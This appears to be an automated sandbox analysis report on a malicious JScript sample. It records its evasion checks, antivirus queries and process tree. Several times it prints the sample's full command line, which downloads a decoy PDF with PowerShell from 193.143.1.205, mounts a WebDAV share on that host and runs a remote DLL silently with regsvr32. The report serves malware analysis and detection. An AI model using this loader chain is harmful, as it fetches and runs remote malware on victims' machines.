Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1480.js.csv");ITextStream.WriteLine(" entry:7988 f:drnohtm");ITextStream.WriteLine(" exec:2 f:drnohtm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4159			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4907			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3984	Thread sleep count: 4159 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3984	Thread sleep count: 4907 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4496	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4924	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2772	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7092	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4004	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3800	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.1489065475.0000020DC08D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1491698354.0000020DC08D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1491100773.0000020DC08D7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2718933803.000001ACAB458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1491496930.0000020DC0878000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: svchost.exe, 00000009.00000002.2717388249.000001ACA5E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
